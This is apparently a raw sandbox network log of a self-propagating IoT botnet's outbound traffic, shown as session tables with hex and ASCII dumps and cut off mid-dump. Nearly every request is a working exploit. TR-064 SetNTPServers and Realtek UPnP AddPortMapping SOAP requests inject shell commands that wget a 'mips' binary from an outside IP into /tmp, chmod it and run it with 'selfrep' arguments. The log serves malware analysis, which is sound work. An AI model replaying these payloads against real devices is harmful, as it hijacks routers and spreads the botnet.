Apr 15, 2024 08:53:05.632566929 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.312438965 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:28.672414064 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.13	38386	1.1.157.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:58.867889881 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.13	51584	14.80.86.229	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.056597948 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.13	35416	222.103.251.25	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.088536978 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.13	59130	31.136.74.211	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.146869898 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:00.132422924 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:02.048546076 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:05.888540983 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.568417072 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:28.928410053 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.13	38396	1.1.157.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.230798960 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.13	56248	160.141.82.82	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.611327887 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:59.818094015 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.13	56256	160.141.82.82	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:59.821985960 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:00.896437883 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 